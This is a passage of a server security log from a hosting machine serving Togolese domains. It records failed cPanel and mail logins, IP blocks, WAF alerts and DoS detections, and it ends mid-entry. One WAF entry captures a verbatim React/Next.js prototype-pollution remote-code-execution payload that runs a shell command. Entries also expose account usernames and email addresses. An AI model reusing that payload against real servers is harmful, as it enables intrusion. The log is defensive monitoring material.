193.19.207.245 - - [01/Jul/2026:20:46:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13003412&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782938765 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2087/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.198 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.19.207.245


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 20:49:11 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.92.191.234
country_id: 3686110
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/journee-internationale-de-la-paix-en-2019-cafe-et-jimi-hope-au-togo/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.92.191.234
country_id: 3686110
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/journee-internationale-de-la-paix-en-2019-cafe-et-jimi-hope-au-togo/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 20:49:43 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 116.29.243.244
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/08/WhatsApp-Image-2025-03-14-a-17.32.44_4c198f31.webp HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.18.187.0
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/07/mconseil1689706149-780x440-1.webp HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.163.58
country_id: 1269750
description:
Jul  1 20:51:58 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.163.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-01 20:52:00 dovecot_login authenticator failed for H=(wllk99-129-211.dsl.netins.net) [125.19.163.58]:45176: 535 Incorrect authentication data (set_id=master@sotranetogo.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.138.167.146
country_id: 3144096
description:
Jul  1 20:52:00 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.138.167.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.138.167.146
country_id: 3144096
description:
Jul  1 20:52:07 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.138.167.146 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.158.200.146
country_id: 3437598
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/gestion-des-finances-publiques/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.212.146.78
country_id: 3469034
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/budgets-locaux-100-acteurs-formes-a-kpalime/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.213.154.170
country_id: 2661886
description:
185.213.154.170 - - [01/Jul/2026:20:54:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934184&pdata=https%253A%252F%252Fns5.netmaster.tg%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782939256 HTTP/2.0" 302 0 ns5.netmaster.tg "https://ns5.netmaster.tg:2087/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.198 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.213.154.170


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.132.150.170
country_id: 298795
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/tag/gestion-des-finances-publiques/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.212.146.78
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/budgets-locaux-100-acteurs-formes-a-kpalime/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.154.170
country_id: 2661886
description:
[2026-07-01 20:54:21 +0000] info [whostmgrd] 185.213.154.170 - abttogo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.0.19
country_id: 3469034
description:
Jul  1 20:55:27 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.0.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.56.0.19
country_id: 3469034
description:
2026-07-01 20:55:29 dovecot_login authenticator failed for H=(111-70-34-21.emome-ip.hinet.net) [189.56.0.19]:50168: 535 Incorrect authentication data (set_id=katakpamey@otr.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-07-01 20:56:17 dovecot_login authenticator failed for H=(191.34.253.17.dynamic.adsl.gvt.net.br) [120.29.140.188]:49906: 535 Incorrect authentication data (set_id=katakpamey)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 20:56:28 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.29.140.188
country_id: 1835841
description:
Jul  1 20:56:15 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.29.140.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.182.30.192
country_id: 1814991
description:
2026-07-01 20:58:37 dovecot_login authenticator failed for H=(xykktq) [123.182.30.192]:25603: 535 Incorrect authentication data (set_id=it)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.161.21.111
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/02/WhatsApp-Image-2023-02-07-at-17.54.07.jpeg 1280w, http:/togodailynews.tg/wp-content/uploads/2023/02/WhatsApp-Image-2023-02-07-at-17.54.07-150x150.jpeg 150w, http:/togodailynews.tg/wp-content/uploads/2023/02/WhatsApp-Image-2023-02-07-at-17.54.07-300x300.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2023/02/WhatsApp-Image-2023-02-07-at-17.54.07-768x768.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2023/02/WhatsApp-Image-2023-02-07-at-17.54.07-1024x1024.jpeg 1024w HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.40.119.127
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1763458248 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.182.30.192
country_id: 1814991
description:
2026-07-01 20:59:02 dovecot_login authenticator failed for H=(uangs) [123.182.30.192]:26050: 535 Incorrect authentication data (set_id=it@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.171.72.231
country_id: 1643084
description:
[2026-07-01 21:00:52 +0000] info [cpaneld] 81.171.72.231 - einguval "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.131.73.244
country_id: 6252001
description:
[2026-07-01 21:01:10 +0000] info [cpaneld] 216.131.73.244 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 110.44.1.193
country_id: 1269750
description:
110.44.1.193 - - [01/Jul/2026:21:01:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6853784&pdata=https%253A%252F%252Flibertetogo.tg%252Findex.php%252Fcondamnation-de-lutb-et-dilatoire-juridico-bancaire-le-cabinet-deloitte-aussi-jette-leponge-pour-conflit-dinterets-avere%252Fnon-classe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782939688 HTTP/2.0" 302 0 libertetogo.tg "https://libertetogo.tg/index.php/condamnation-de-lutb-et-dilatoire-juridico-bancaire-le-cabinet-deloitte-aussi-jette-leponge-pour-conflit-dinterets-avere/non-classe/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.4650.1150 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:110.44.1.193


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.171.72.231
country_id: 1643084
description:
[2026-07-01 21:01:46 +0000] info [cpaneld] 81.171.72.231 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.165.157
country_id: 2363686
description:
[2026-07-01 21:04:29 +0000] info [cpaneld] 102.64.165.157 - mvfxewjz "GET /cpsess2174433768/frontend/jupiter/email_accounts/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.171.122.34] != Current IP Address [102.64.165.157]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-07-01 21:04:31 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:39720: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 21:06:02 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:37784: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 21:07:46 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 132.255.92.2
country_id: 3469034
description:
Denial of Service (DoS) attack was discovered from 132.255.92.2: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 108.165.63.193
country_id: 3469034
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:108.165.63.193||TA:108.165.63.193||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.141.240.34
country_id: 3996063
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-200-millions-de-la-banque-mondiale-pour-moderniser-le-transport-et-la-logistique/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 21:14:41 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [01/Jul/2026:21:14:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856918&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782940444 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.141.240.34
country_id: 3996063
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-200-millions-de-la-banque-mondiale-pour-moderniser-le-transport-et-la-logistique/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 185.36.191.21
country_id: 2750405
domain: butodra.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users/?who=authors&per_page=100&_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 23.234.100.201
country_id: 6252001
description:
[2026-07-01 21:14:47 +0000] info [cpaneld] 23.234.100.201 - kpmg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.118.224.138
country_id: 1835841
description:
Jul  1 21:14:59 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.118.224.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-01 21:15:01 dovecot_login authenticator failed for H=([112.186.203.10]) [210.118.224.138]:38187: 535 Incorrect authentication data (set_id=master@sotranetogo.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.171.72.231
country_id: 1643084
description:
[2026-07-01 21:16:19 +0000] info [cpaneld] 81.171.72.231 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.180.95.235
country_id: 2361809
description:
[2026-07-01 21:18:40 +0000] info [webmaild] 102.180.95.235 - mouniouyi@istm.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.180.95.235
country_id: 2361809
description:
[2026-07-01 21:18:55 +0000] info [cpaneld] 102.180.95.235 NEW gemwjxuz:KxfXc1uOZQS3csgj address=102.180.95.235,app=cpaneld,creator=root,method=handle_form_login,path=loadsession:gemwjxuz:euCW7nyrh08_teEK:create_user_session,possessed=0


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - mouniouyi@istm.tg [07/01/2026:21:19:39 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: mouniouyi@istm.tg


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 91.165.59.137
country_id: 3017382
description:
91.165.59.137 - - [01/Jul/2026:21:20:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6647142&pdata=https%253A%252F%252Fwww.togosem.com%252F2025%252F03%252F09%252Fofitsialnyi-sait-litsenzionnogo-onlain-kazino%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782940812 HTTP/2.0" 302 0 www.togosem.com "https://www.togosem.com/2025/03/09/ofitsialnyi-sait-litsenzionnogo-onlain-kazino/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:91.165.59.137


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.166.99
country_id: 2363686
description:
[2026-07-01 21:20:31 +0000] info [webmaild] 102.64.166.99 - some.f@inger.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.186.0.118
country_id: 149590
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=404 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.82.10.75
country_id: 2245662
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=48 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 144.124.192.26
country_id: 1512440
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=396 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.128.115.151
country_id: 1814991
description:
Jul  1 21:20:08 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.128.115.151 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.123.108.251
country_id: 1168579
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=142 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.41.167.158
country_id: 3865483
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=1481 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.162.162.146
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2165 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.189.117.63
country_id: 3932488
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=21 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 141.255.130.51
country_id: 3017382
domain: macite.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:141.255.130.51||TA:141.255.130.51||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 43.135.185.59
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users/2||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 145.241.224.77
country_id: 2635167
description:
Jul  1 21:25:19 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 145.241.224.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 145.241.224.77
country_id: 2635167
description:
2026-07-01 21:25:21 dovecot_plain authenticator failed for H=(9or0n8j7qev53cg8kx3kn80) [145.241.224.77]:58900: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.249.255.199
country_id: 6252001
description:
[2026-07-01 21:26:21 +0000] info [whostmgrd] 173.249.255.199 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 21:26:20 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.70.168.151
country_id: 6252001
description:
[2026-07-01 21:32:44 +0000] info [whostmgrd] 146.70.168.151 - c1565738c "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.136.228.101
country_id: 3469034
description:
[2026-07-01 21:33:34 +0000] info [cpaneld] 177.136.228.101 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 21:33:14 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 21:40:01 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 210.217.42.139
country_id: 1835841
domain: 154.70.82.249
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.37.63.172
country_id: 2661886
description:
[2026-07-01 21:41:19 +0000] info [cpaneld] 89.37.63.172 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.128.115.151
country_id: 1814991
description:
Jul  1 21:42:28 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.128.115.151 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.52
country_id: 6252001
description:
Jul  1 21:42:06 ns5 pure-ftpd[2932047]: (?@147.185.132.52) [INFO] New connection from 147.185.132.52


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 213.179.217.9
country_id: 2510769
description:
Denial of Service (DoS) attack was discovered from 213.179.217.9: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.12.77.100
country_id: 2921044
description:
Jul  1 21:51:47 ns5 auth[2626791]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.12.77.100 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.172.198.232
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/product-category/watches/?add-to-cart=9867||QS:add-to-cart=9867||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 193.142.36.63
country_id: 6252001
description:
193.142.36.63 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10340251&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942936 HTTP/1.1" 404 561 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.142.36.63


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 193.163.89.149
country_id: 6252001
description:
193.163.89.149 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194522&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:193.163.89.149


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 140.235.0.55
country_id: 6252001
description:
140.235.0.55 - - [01/Jul/2026:21:55:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9789800&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942939 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.235.0.55


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.253.19.108
country_id: 6252001
description:
[2026-07-01 21:55:44 +0000] info [cpaneld] 167.253.19.108 - ezaishealthplus "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ezaishealthplus (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 62.204.49.90
country_id: 6252001
description:
62.204.49.90 - - [01/Jul/2026:21:55:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065297&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:62.204.49.90


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.134.12.42
country_id: 241170
description:
31.134.12.42 - - [01/Jul/2026:21:55:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6919533&pdata=https%3A%2F%2Fns5.netmaster.tg%3A2083&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782942935 HTTP/1.1" 302 0 ns5.netmaster.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.134.12.42


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.134.9.155
country_id: 241170
description:
